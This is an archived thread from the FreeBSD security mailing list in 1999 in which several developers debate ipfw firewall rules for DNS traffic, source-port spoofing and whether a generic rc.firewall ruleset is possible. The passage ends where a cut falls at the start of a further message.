Date: Fri, 3 Dec 1999 09:53:59 -0700 Message-Id: <199912031653.JAA11157@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3847F47B.834A27AE@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <199912031600.JAA10966@mt.sri.com> <3847F47B.834A27AE@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > This simply stops traffic that's pretending to be your internal network > > > coming in from the outside, and vice versa. It does not help with other > > > networks being spoofed. > > > > True, but neither did the rules you (?) proposed previously. The rules > > Rod listed limited the packets to come/go *only* from the internal DNS > > server on the network, so in no way makes it any worse that what was > > proposed, and only makes it better. However, they require more > > knowledge of the external IP address of the box as well as the external > > interface, along with the internal IP addresses. > > I disagree. My rule blocks traffic to UDP ports that are required to be > protected, regardless of where they come from. Rod's rules allow the > name server to connect to ANY UDP port. That is the problem. You mis-read them, read them again. ipfw add X pass udp from any to ${dnsserver} 53 ipfw add X+1 pass udp from ${dnsserver} 53 to any ipfw add X+2 deny log udp from any to any 53 ipfw add X+3 dney log udp from any 53 to any The DNS server is only allowed to send packets *from* port 53 to any port (which it must because the request comes from random ports). As long as we don't allow 'spoofed' traffic to appear to be coming from $dnsserver, this is a very safe set of rules (although incomplete, as Rod points out). Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8:55:55 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 15BFC15032; Fri, 3 Dec 1999 08:55:48 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id QAA22450; Fri, 3 Dec 1999 16:52:48 GMT Message-ID: <3847F55E.B546B2EB@algroup.co.uk> Date: Fri, 03 Dec 1999 16:52:46 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > And, of course, it also means you are wide open to attack from a > > compromised name server. I do not want to trust hosts. I want to trust > > specific connections to specific services. > > How do you propose to stop a compromised name server from giving out > bogus information using a firewall rule? I'm curious... Please re-read my statement. Who said anything about bogus information? I'm talking about connecting to UDP ports (like NFS) that you're not supposed to be able to connect to. Since his rule passes UDP that is sourced from port 53 on the nameserver to ANY UDP port on ANY machine, you are wide open to *attack*, not misinformation. At some point, your chain of name servers has to talk to the outside world, so this means the machine that does the final relay is open to attack from the outside world. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8:58:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 2F966151AB; Fri, 3 Dec 1999 08:58:39 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id JAA28685; Fri, 3 Dec 1999 09:58:22 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id JAA11193; Fri, 3 Dec 1999 09:58:21 -0700 Date: Fri, 3 Dec 1999 09:58:21 -0700 Message-Id: <199912031658.JAA11193@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3847F55E.B546B2EB@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > And, of course, it also means you are wide open to attack from a > > > compromised name server. I do not want to trust hosts. I want to trust > > > specific connections to specific services. > > > > How do you propose to stop a compromised name server from giving out > > bogus information using a firewall rule? I'm curious... > > Please re-read my statement. Who said anything about bogus > information? Compromised implies that the information is 'bogus' and/or wrong. > I'm talking about connecting to UDP ports (like NFS) that you're not > supposed to be able to connect to. Since his rule passes UDP that is > sourced from port 53 on the nameserver to ANY UDP port on ANY machine, > you are wide open to *attack*, not misinformation. Huh? How do you figure someone is going to *ATTACK* you by the process of *you* sending out information? > At some point, your chain of name servers has to talk to the outside > world, so this means the machine that does the final relay is open to > attack from the outside world. Right. But, they can only talk to known ports on your machine that you allow (including port 53). And, you only send out data *from* port 53 (as well as other known ports). I'm *really* confused as to how you think sending out data from a known port will compromise your machine? If so, then every machine with external servics has the potential to be compromised by the very act of sending out information. Please remove my confusion. :) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 9:10:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 497DC15211; Fri, 3 Dec 1999 09:10:34 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id RAA23194; Fri, 3 Dec 1999 17:09:10 GMT Message-ID: <3847F939.47978597@algroup.co.uk> Date: Fri, 03 Dec 1999 17:09:13 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > > And, of course, it also means you are wide open to attack from a > > > > compromised name server. I do not want to trust hosts. I want to trust > > > > specific connections to specific services. > > > > > > How do you propose to stop a compromised name server from giving out > > > bogus information using a firewall rule? I'm curious... > > > > Please re-read my statement. Who said anything about bogus > > information? > > Compromised implies that the information is 'bogus' and/or wrong. > > > I'm talking about connecting to UDP ports (like NFS) that you're not > > supposed to be able to connect to. Since his rule passes UDP that is > > sourced from port 53 on the nameserver to ANY UDP port on ANY machine, > > you are wide open to *attack*, not misinformation. > > Huh? How do you figure someone is going to *ATTACK* you by the process > of *you* sending out information? > > > At some point, your chain of name servers has to talk to the outside > > world, so this means the machine that does the final relay is open to > > attack from the outside world. > > Right. But, they can only talk to known ports on your machine that you > allow (including port 53). And, you only send out data *from* port 53 > (as well as other known ports). I'm *really* confused as to how you > think sending out data from a known port will compromise your machine? ipfw add X pass udp from any to ${dnsserver} 53 ipfw add X+1 pass udp from ${dnsserver} 53 to any ^^^^^^^^^^^^^^^^^^^^^^ This rule says the name server can talk to any UDP port on any machine (including the firewall itself) as long as it's sourced from port 53. Since I, as the attacker, now own the nameserver, I can use port 53 for anything I like (as I demonstrated in my original post using netcat). This works, believe me. I've done it. I can squirt data into a "protected" syslog on port 514, which shouldn't be possible. Using my rules, this is no longer possible. [next bit cut from other sub-thread] > As long as we don't allow 'spoofed' traffic to appear to be coming from > $dnsserver, this is a very safe set of rules (although incomplete, as > Rod points out). How do you tell the difference between a spoofed packet and a non-spoofed packet with ipfw? cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 9:27:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 87D0A151CC; Fri, 3 Dec 1999 09:27:07 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA77320; Fri, 3 Dec 1999 09:25:39 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912031725.JAA77320@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <3847C0CB.2E9774A@algroup.co.uk> from Adam Laurie at "Dec 3, 1999 01:08:27 pm" To: adam@algroup.co.uk (Adam Laurie) Date: Fri, 3 Dec 1999 09:25:38 -0800 (PST) Cc: nate@mt.sri.com (Nate Williams), jhb@FreeBSD.ORG (John Baldwin), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Adam Laurie wrote: > > > > Nate Williams wrote: > > > > > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > > > ipfw add X+2 deny log udp from any to any 53 > > > > > ipfw add X+3 dney log udp from any 53 to any > > > > > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > > > based on source address. To quote from the ipfw manual: Only wildcard source address above is allowed only to a specif host and port, you _have_ to do this unless a belt and suspender internal/external DNS configuration firewall is built. If you expect the default /etc/rc.firewall to support belt and suspender your dreaming. > > > > > > > > Note that may be dangerous to filter on the source IP address or > > > > source > > > > TCP/UDP port because either or both could easily be spoofed. > > > > > > > > You've just let anyone that can spoof you DNS's source address onto any > > > > UDP port. > > And, of course, it also means you are wide open to attack from a > compromised name server. I do not want to trust hosts. I want to trust > specific connections to specific services. Then you want a customer written from scratch firewall set, not the generic supplied /etc/rc.firewall and someone might as well commit my 5 liner that says go read book x y and z to see how to write this file. Your not going to get any better than the above 4 rule set for a generic /etc/rc.firewall and still have a functional network without something so large no novice could even start to understand it. I am going to leave this conversation now, it seems that your wants and reality do not coincide with what we could accomodate in a generic /etc/rc.firewall. Nor does it appear that your understanding of the above rule set is complete. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 9:30: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id DC2F1151EF; Fri, 3 Dec 1999 09:29:40 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id KAA28992; Fri, 3 Dec 1999 10:29:18 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id KAA11375; Fri, 3 Dec 1999 10:29:16 -0700 Date: Fri, 3 Dec 1999 10:29:16 -0700 Message-Id: <199912031729.KAA11375@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3847F939.47978597@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > I'm talking about connecting to UDP ports (like NFS) that you're not > > > supposed to be able to connect to. Since his rule passes UDP that is > > > sourced from port 53 on the nameserver to ANY UDP port on ANY machine, > > > you are wide open to *attack*, not misinformation. > > > > Huh? How do you figure someone is going to *ATTACK* you by the process > > of *you* sending out information? > > > > > At some point, your chain of name servers has to talk to the outside > > > world, so this means the machine that does the final relay is open to > > > attack from the outside world. > > > > Right. But, they can only talk to known ports on your machine that you > > allow (including port 53). And, you only send out data *from* port 53 > > (as well as other known ports). I'm *really* confused as to how you > > think sending out data from a known port will compromise your machine? > > ipfw add X pass udp from any to ${dnsserver} 53 > ipfw add X+1 pass udp from ${dnsserver} 53 to any > ^^^^^^^^^^^^^^^^^^^^^^ > This rule says the name server can talk to any UDP port on any machine > (including the firewall itself) as long as it's sourced from port 53. > Since I, as the attacker, now own the nameserver, I can use port 53 for > anything I like (as I demonstrated in my original post using netcat). Ahh, you're assuming that 'dnssever' is compromised? *light bulb* In this case, you're screwed. There is *NOTHING* (nadda, zero, zilch, zippo) that can be done to protect from this. If you're nameserver is compromised, you're hosed. That's why most folks that I know run the nameserver that they trust either *ON* the firewall, or on a host inside the firewall. Then you have a bastion DNS server for the world outside the firewall that gets all of it's information from the internal firewall, but if it's compromised you don't lose the internal integrity inside the firewall. > This works, believe me. I've done it. I can squirt data into a > "protected" syslog on port 514, which shouldn't be possible. Using my > rules, this is no longer possible. What I'm hearing you state is never trust anything outside your firewall, which is a great rule, but not one that I believe you can rely on. Sooner or later you must depend on *something* external (other DNS servers, etc...), but you can tighten them down. > > > As long as we don't allow 'spoofed' traffic to appear to be coming from > > $dnsserver, this is a very safe set of rules (although incomplete, as > > Rod points out). > > How do you tell the difference between a spoofed packet and a > non-spoofed packet with ipfw? By the IP address being used. If the source is from an address behind the firewall, it's spoofed. Otherwise, you can't know (or care), because 'spoofing' is often used for legitimate reasons. So, you must assume that any traffic outside is suspect, and make sure that any 'suspect' traffic is filtered correctly and hope you catch everything. Here's my rules. They could be re-ordered, and probably simplified, but they work pretty well. 1) Drop anything that claims to be you coming from the outside. 2) Drop RFC 1918 unroutable traffic (incoming/outgoing) 3) Don't allow packets with a multicast source address (in/out). 4) Drop anything that isn't using an internal network address from going out. 5) Don't allow broadcast traffic in/out [ At this point, the traffic is mostly 'sanitized'. You know that whatever is coming and going is 'legitimate'. The outside stuff is not to be trusted. Next, the policy decisions for TCP. 1) Block out silly TCP services from being made from internal hosts [ Normally, we trust our users not to do stupid things, but that's a policy decision on our part. However, certain services should never be attempted. ] 2) Block out all traffic from 'evil.org' hosts. (Local policy) 3) Allow in SMTP *ONLY* to the firewall (I only have to worry about one version of sendmail now) 4) Block out 'SMTP' from being from internal boxes (just in case) 5) Allow other TCP connections to be made *from* internal hosts (scarey, but current policy ) 6) Allow in secure services (SSH) and certain necessary services in a limited manner to my internal DNS server (DNS/TCP). # Next, policy decision for UDP 1) Allow in UDP connections from anywhere to whatever port my service lives on (DNS/53, NTP/123). 2) Alllow outgoing queries from these server to go out only from the machines with that service. 3) Filter out responses from low-numbered ports incoming (we've allowed people to connect to our well-known services, we know block out other services which may appear to come from well-known ports as responses to our requests). [ Note, a stateful firewall such as IPFilter wouldn't need these rules ] 4) Allow outgoing responses from our internal services. 5) Allow incoming responses to our internal server requests. Block the rest! Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 9:49:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 87ABE151E7; Fri, 3 Dec 1999 09:49:20 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA77378; Fri, 3 Dec 1999 09:48:38 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912031748.JAA77378@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <3847F55E.B546B2EB@algroup.co.uk> from Adam Laurie at "Dec 3, 1999 04:52:46 pm" To: adam@algroup.co.uk (Adam Laurie) Date: Fri, 3 Dec 1999 09:48:38 -0800 (PST) Cc: nate@mt.sri.com (Nate Williams), jhb@FreeBSD.ORG (John Baldwin), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Nate Williams wrote: > > > > > > > And, of course, it also means you are wide open to attack from a > > > compromised name server. I do not want to trust hosts. I want to trust > > > specific connections to specific services. > > > > How do you propose to stop a compromised name server from giving out > > bogus information using a firewall rule? I'm curious... > > Please re-read my statement. Who said anything about bogus information? > I'm talking about connecting to UDP ports (like NFS) that you're not > supposed to be able to connect to. Since his rule passes UDP that is > sourced from port 53 on the nameserver to ANY UDP port on ANY machine, > you are wide open to *attack*, not misinformation. At some point, your > chain of name servers has to talk to the outside world, so this means > the machine that does the final relay is open to attack from the outside > world. Some one hand Adam a pair of wire cutters, that is the only way he is going to get the firewall he wants. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 10: 5:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 0F65C1502C; Fri, 3 Dec 1999 10:05:49 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id SAA25620; Fri, 3 Dec 1999 18:04:15 GMT Message-ID: <38480623.518D798D@algroup.co.uk> Date: Fri, 03 Dec 1999 18:04:19 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: Nate Williams , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912031748.JAA77378@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Rodney W. Grimes" wrote: > > > Nate Williams wrote: > > > > > > > > > > And, of course, it also means you are wide open to attack from a > > > > compromised name server. I do not want to trust hosts. I want to trust > > > > specific connections to specific services. > > > > > > How do you propose to stop a compromised name server from giving out > > > bogus information using a firewall rule? I'm curious... > > > > Please re-read my statement. Who said anything about bogus information? > > I'm talking about connecting to UDP ports (like NFS) that you're not > > supposed to be able to connect to. Since his rule passes UDP that is > > sourced from port 53 on the nameserver to ANY UDP port on ANY machine, > > you are wide open to *attack*, not misinformation. At some point, your > > chain of name servers has to talk to the outside world, so this means > > the machine that does the final relay is open to attack from the outside > > world. > > Some one hand Adam a pair of wire cutters, that is the only way he is > going to get the firewall he wants. No, that is precicely my point. My set of rules allows DNS, but blocks attacks. Just try it! cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 10:58:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id A1B651522C; Fri, 3 Dec 1999 10:58:47 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id SAA27949; Fri, 3 Dec 1999 18:57:39 GMT Message-ID: <384812A7.EAAB3BD8@algroup.co.uk> Date: Fri, 03 Dec 1999 18:57:43 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> <199912031729.KAA11375@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > This works, believe me. I've done it. I can squirt data into a > > "protected" syslog on port 514, which shouldn't be possible. Using my > > rules, this is no longer possible. > > What I'm hearing you state is never trust anything outside your > firewall, which is a great rule, but not one that I believe you can rely > on. Sooner or later you must depend on *something* external (other DNS > servers, etc...), but you can tighten them down. Ok, well we're making some progress then... you're almost hearing what I'm trying to say... :) The whole point of a firewall is to stop people doing what they're not supposed to do. I'm happy to trust my nameserver to send me DNS. That's all. I don't want it connecting to my NFS mounts, or my syslog or anything else. Rod's rules allow this, and my rules prevent it. Simple as that. > > > > > > As long as we don't allow 'spoofed' traffic to appear to be coming from > > > $dnsserver, this is a very safe set of rules (although incomplete, as > > > Rod points out). > > > > How do you tell the difference between a spoofed packet and a > > non-spoofed packet with ipfw? > > By the IP address being used. If the source is from an address behind > the firewall, it's spoofed. The IP address is the thing being spoofed. It will appear to be the DNS server. If you've only got one interface, there's no way to see the difference between the spoofed and the real. > > Otherwise, you can't know (or care), because 'spoofing' is often used > for legitimate reasons. So, you must assume that any traffic outside is > suspect, and make sure that any 'suspect' traffic is filtered correctly > and hope you catch everything. > > Here's my rules. They could be re-ordered, and probably simplified, but > they work pretty well. > > 1) Drop anything that claims to be you coming from the outside. > 2) Drop RFC 1918 unroutable traffic (incoming/outgoing) > 3) Don't allow packets with a multicast source address (in/out). > 4) Drop anything that isn't using an internal network address from going out. > 5) Don't allow broadcast traffic in/out > > [ At this point, the traffic is mostly 'sanitized'. You know that > whatever is coming and going is 'legitimate'. The outside stuff is not > to be trusted. When I dial into the net from my notebook, there is only an outside. No-one is 'sanitised'. Anyway, can we get back to the matter in hand...? This was not intended to turn into a masterclass for firewall rule building - just a simple set of replacement rules for the current ones, regardless of how complete they are. I have pointed out some specific deficiencies in the current rules and proposed some amendments. No-one has yet pointed out a flaw or a hole in my rules, except that they are "not complete". I agree, but they do do the job they set out to do, unlike the current ones... i.e. block low port udp, and nfs, but allow dns and time. Where's the problem? cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 12: 7: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 8A8C71517B; Fri, 3 Dec 1999 12:07:03 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA00527; Fri, 3 Dec 1999 13:06:57 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id NAA12109; Fri, 3 Dec 1999 13:06:56 -0700 Date: Fri, 3 Dec 1999 13:06:56 -0700 Message-Id: <199912032006.NAA12109@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <384812A7.EAAB3BD8@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> <199912031601.JAA10973@mt.sri.com> <3847F55E.B546B2EB@algroup.co.uk> <199912031658.JAA11193@mt.sri.com> <3847F939.47978597@algroup.co.uk> <199912031729.KAA11375@mt.sri.com> <384812A7.EAAB3BD8@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > This works, believe me. I've done it. I can squirt data into a > > > "protected" syslog on port 514, which shouldn't be possible. Using my > > > rules, this is no longer possible. > > > > What I'm hearing you state is never trust anything outside your > > firewall, which is a great rule, but not one that I believe you can rely > > on. Sooner or later you must depend on *something* external (other DNS > > servers, etc...), but you can tighten them down. > > Ok, well we're making some progress then... you're almost hearing what > I'm trying to say... :) The problem here is that you're assuming a particular kind of setup that we're not assuming. You're assuming that the box is a standalone system, and we're not assuming that. The thing we're assuming is that this box is a firewall, which I don't believe you are assuming. From that, I think we can agree that attempting to build any sort of generic ruleset that fits every situation is impossible to do. > > 1) Drop anything that claims to be you coming from the outside. > > 2) Drop RFC 1918 unroutable traffic (incoming/outgoing) > > 3) Don't allow packets with a multicast source address (in/out). > > 4) Drop anything that isn't using an internal network address from going out. > > 5) Don't allow broadcast traffic in/out > > > > [ At this point, the traffic is mostly 'sanitized'. You know that > > whatever is coming and going is 'legitimate'. The outside stuff is not > > to be trusted. > > When I dial into the net from my notebook, there is only an outside. > No-one is 'sanitised'. Again, you're making an assumption about a particular setup. That assumption isn't any more/less valid than our assumptions, so we end up with a non-generic solution. > Anyway, can we get back to the matter in hand...? This *is* the matter at hand. You're making a solution for your situation, which is not necessarily appropriate for my situation, or for Rod's situation. The problem is that there is no generic solution. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 12:21:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id AC35415294 for ; Fri, 3 Dec 1999 12:21:47 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id PAA24167 for ; Fri, 3 Dec 1999 15:21:42 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Fri, 3 Dec 1999 15:21:42 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-security@freebsd.org Subject: 